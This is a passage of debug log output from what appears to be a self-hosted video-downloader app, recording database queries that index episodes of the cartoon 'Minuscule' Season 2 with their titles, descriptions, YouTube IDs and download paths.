[BnUtsMMfjWU].mp4", false, ~U[2020-05-21 14:30:03Z]] 22:15:46.556 [debug] QUERY OK source="sources" db=0.4ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:46.558 [debug] QUERY OK source="media_items" db=0.9ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-05-14 14:30:00Z], 5] 22:15:46.561 [debug] QUERY OK source="media_items" db=2.2ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA small black spider does its best to imitate another spider in web building.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Blunder / La boulette (Season 2)", "2ff403f7-c67f-46b6-91b7-5e589d6b5dbf", "78uO6wF20Ig", 130, false, 5, "https://www.youtube.com/watch?v=78uO6wF20Ig", 95, "/downloads/Miniscule Season 2/2020-05-14 Minuscule - Blunder ⧸ La boulette (Season 2)/Minuscule - Blunder ⧸ La boulette (Season 2) [78uO6wF20Ig].mp4", false, false, false, [], 1, ~U[2020-05-14 14:30:00Z], ~U[2025-12-12 05:15:46Z], ~U[2025-12-12 05:15:46Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA small black spider does its best to imitate another spider in web building.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Blunder / La boulette (Season 2)", "78uO6wF20Ig", 130, false, 5, "https://www.youtube.com/watch?v=78uO6wF20Ig", "/downloads/Miniscule Season 2/2020-05-14 Minuscule - Blunder ⧸ La boulette (Season 2)/Minuscule - Blunder ⧸ La boulette (Season 2) [78uO6wF20Ig].mp4", false, ~U[2020-05-14 14:30:00Z]] 22:15:46.562 [debug] QUERY OK source="sources" db=0.5ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:46.563 [debug] QUERY OK source="media_items" db=0.9ms idle=7.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-05-07 14:30:03Z], 5] 22:15:46.567 [debug] QUERY OK source="media_items" db=2.1ms idle=7.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - A candlelight christmas / Noël aux chandelles (Season 2)", "86124836-2fda-47d2-8eb3-bdd021f78ce9", "Mntl56t9HyA", 119, false, 5, "https://www.youtube.com/watch?v=Mntl56t9HyA", 96, "/downloads/Miniscule Season 2/2020-05-07 Minuscule - A candlelight christmas ⧸ Noël aux chandelles (Season 2)/Minuscule - A candlelight christmas ⧸ Noël aux chandelles (Season 2) [Mntl56t9HyA].mp4", false, false, false, [], 1, ~U[2020-05-07 14:30:03Z], ~U[2025-12-12 05:15:46Z], ~U[2025-12-12 05:15:46Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - A candlelight christmas / Noël aux chandelles (Season 2)", "Mntl56t9HyA", 119, false, 5, "https://www.youtube.com/watch?v=Mntl56t9HyA", "/downloads/Miniscule Season 2/2020-05-07 Minuscule - A candlelight christmas ⧸ Noël aux chandelles (Season 2)/Minuscule - A candlelight christmas ⧸ Noël aux chandelles (Season 2) [Mntl56t9HyA].mp4", false, ~U[2020-05-07 14:30:03Z]] 22:15:46.567 [debug] QUERY OK source="sources" db=0.5ms idle=9.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:46.569 [debug] QUERY OK source="media_items" db=0.9ms idle=7.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-04-30 14:30:06Z], 5] 22:15:47.656 [debug] QUERY OK source="media_items" db=1085.8ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA fly plays a magic trick on a spider, but is all what it seems?\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The magic fly / La mouche magique (Season 2)", "33a77b98-6331-4508-a7b0-35d08286bbf3", "qCnMPlECNGA", 119, false, 5, "https://www.youtube.com/watch?v=qCnMPlECNGA", 97, "/downloads/Miniscule Season 2/2020-04-30 Minuscule - The magic fly ⧸ La mouche magique (Season 2)/Minuscule - The magic fly ⧸ La mouche magique (Season 2) [qCnMPlECNGA].mp4", false, false, false, [], 1, ~U[2020-04-30 14:30:06Z], ~U[2025-12-12 05:15:46Z], ~U[2025-12-12 05:15:46Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA fly plays a magic trick on a spider, but is all what it seems?\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The magic fly / La mouche magique (Season 2)", "qCnMPlECNGA", 119, false, 5, "https://www.youtube.com/watch?v=qCnMPlECNGA", "/downloads/Miniscule Season 2/2020-04-30 Minuscule - The magic fly ⧸ La mouche magique (Season 2)/Minuscule - The magic fly ⧸ La mouche magique (Season 2) [qCnMPlECNGA].mp4", false, ~U[2020-04-30 14:30:06Z]] 22:15:47.657 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1090.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:47.659 [debug] QUERY OK source="media_items" db=1.1ms idle=1090.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-04-23 14:30:03Z], 5] 22:15:47.662 [debug] QUERY OK source="media_items" db=2.3ms queue=0.1ms idle=1090.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nIn a garden, a mocking ladybird arrives to taunt a band of flies, and incites them to chase her in a crazy race.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The cruel cow in the meadow / Histoire vache (Season 2)", "cc75b348-bfc6-490b-9351-550c18992f61", "X8TfG9Ib4Aw", 120, false, 5, "https://www.youtube.com/watch?v=X8TfG9Ib4Aw", 98, "/downloads/Miniscule Season 2/2020-04-23 Minuscule - The cruel cow in the meadow ⧸ Histoire vache (Season 2)/Minuscule - The cruel cow in the meadow ⧸ Histoire vache (Season 2) [X8TfG9Ib4Aw].mp4", false, false, false, [], 1, ~U[2020-04-23 14:30:03Z], ~U[2025-12-12 05:15:47Z], ~U[2025-12-12 05:15:47Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nIn a garden, a mocking ladybird arrives to taunt a band of flies, and incites them to chase her in a crazy race.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The cruel cow in the meadow / Histoire vache (Season 2)", "X8TfG9Ib4Aw", 120, false, 5, "https://www.youtube.com/watch?v=X8TfG9Ib4Aw", "/downloads/Miniscule Season 2/2020-04-23 Minuscule - The cruel cow in the meadow ⧸ Histoire vache (Season 2)/Minuscule - The cruel cow in the meadow ⧸ Histoire vache (Season 2) [X8TfG9Ib4Aw].mp4", false, ~U[2020-04-23 14:30:03Z]] 22:15:47.663 [debug] QUERY OK source="sources" db=0.4ms idle=553.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:47.665 [debug] QUERY OK source="media_items" db=1.0ms idle=8.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-04-16 14:30:02Z], 5] 22:15:47.668 [debug] QUERY OK source="media_items" db=2.0ms idle=8.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA group of flies try and catch a ladybird over a golf course but the flies are not aware of the complications that they face.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Need for speed / Ivre de vitesse (Season 2)", "efc3b053-3fe0-4043-99fe-a7b0852ef100", "31kI59jDiRI", 119, false, 5, "https://www.youtube.com/watch?v=31kI59jDiRI", 99, "/downloads/Miniscule Season 2/2020-04-16 Minuscule - Need for speed ⧸ Ivre de vitesse (Season 2)/Minuscule - Need for speed ⧸ Ivre de vitesse (Season 2) [31kI59jDiRI].mp4", false, false, false, [], 1, ~U[2020-04-16 14:30:02Z], ~U[2025-12-12 05:15:47Z], ~U[2025-12-12 05:15:47Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA group of flies try and catch a ladybird over a golf course but the flies are not aware of the complications that they face.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Need for speed / Ivre de vitesse (Season 2)", "31kI59jDiRI", 119, false, 5, "https://www.youtube.com/watch?v=31kI59jDiRI", "/downloads/Miniscule Season 2/2020-04-16 Minuscule - Need for speed ⧸ Ivre de vitesse (Season 2)/Minuscule - Need for speed ⧸ Ivre de vitesse (Season 2) [31kI59jDiRI].mp4", false, ~U[2020-04-16 14:30:02Z]] 22:15:47.669 [debug] QUERY OK source="sources" db=0.3ms idle=9.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:47.670 [debug] QUERY OK source="media_items" db=0.7ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-04-09 14:30:00Z], 5] 22:15:47.673 [debug] QUERY OK source="media_items" db=2.1ms decode=0.2ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA careless fly escapes from a hungry spider by shutting herself inside a microwave oven. The radiations turn her into a powerful monster fly the size of an orange.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Microzilla / Microzondes (Season 2)", "ef357e7f-6530-4eeb-96f0-e4d1a45df0ef", "64r6-QYb1do", 294, false, 5, "https://www.youtube.com/watch?v=64r6-QYb1do", 100, "/downloads/Miniscule Season 2/2020-04-09 Minuscule - Microzilla ⧸ Microzondes (Season 2)/Minuscule - Microzilla ⧸ Microzondes (Season 2) [64r6-QYb1do].mkv", false, false, false, [], 1, ~U[2020-04-09 14:30:00Z], ~U[2025-12-12 05:15:47Z], ~U[2025-12-12 05:15:47Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA careless fly escapes from a hungry spider by shutting herself inside a microwave oven. The radiations turn her into a powerful monster fly the size of an orange.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Microzilla / Microzondes (Season 2)", "64r6-QYb1do", 294, false, 5, "https://www.youtube.com/watch?v=64r6-QYb1do", "/downloads/Miniscule Season 2/2020-04-09 Minuscule - Microzilla ⧸ Microzondes (Season 2)/Minuscule - Microzilla ⧸ Microzondes (Season 2) [64r6-QYb1do].mkv", false, ~U[2020-04-09 14:30:00Z]] 22:15:47.674 [debug] QUERY OK source="sources" db=0.3ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:47.676 [debug] QUERY OK source="media_items" db=0.9ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-04-02 16:30:07Z], 5] 22:15:47.679 [debug] QUERY OK source="media_items" db=2.2ms idle=6.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nAn ant builds a pyramid made out out of peas while a fly is having fun destroying the building when it's almost done. But a ladybird is watching...\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - A pea in the hand is worth / Deux petits pois deux mesures (Season 2)", "a7cf4421-9b0e-4285-b3a9-19a643297a54", "f0xE5_ejBKk", 122, false, 5, "https://www.youtube.com/watch?v=f0xE5_ejBKk", 101, "/downloads/Miniscule Season 2/2020-04-02 Minuscule - A pea in the hand is worth ⧸ Deux petits pois deux mesures (Season 2)/Minuscule - A pea in the hand is worth ⧸ Deux petits pois deux mesures (Season 2) [f0xE5_ejBKk].mp4", false, false, false, [], 1, ~U[2020-04-02 16:30:07Z], ~U[2025-12-12 05:15:47Z], ~U[2025-12-12 05:15:47Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nAn ant builds a pyramid made out out of peas while a fly is having fun destroying the building when it's almost done. But a ladybird is watching...\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - A pea in the hand is worth / Deux petits pois deux mesures (Season 2)", "f0xE5_ejBKk", 122, false, 5, "https://www.youtube.com/watch?v=f0xE5_ejBKk", "/downloads/Miniscule Season 2/2020-04-02 Minuscule - A pea in the hand is worth ⧸ Deux petits pois deux mesures (Season 2)/Minuscule - A pea in the hand is worth ⧸ Deux petits pois deux mesures (Season 2) [f0xE5_ejBKk].mp4", false, ~U[2020-04-02 16:30:07Z]] 22:15:47.680 [debug] QUERY OK source="sources" db=0.7ms idle=8.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:47.681 [debug] QUERY OK source="media_items" db=1.0ms idle=7.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-03-26 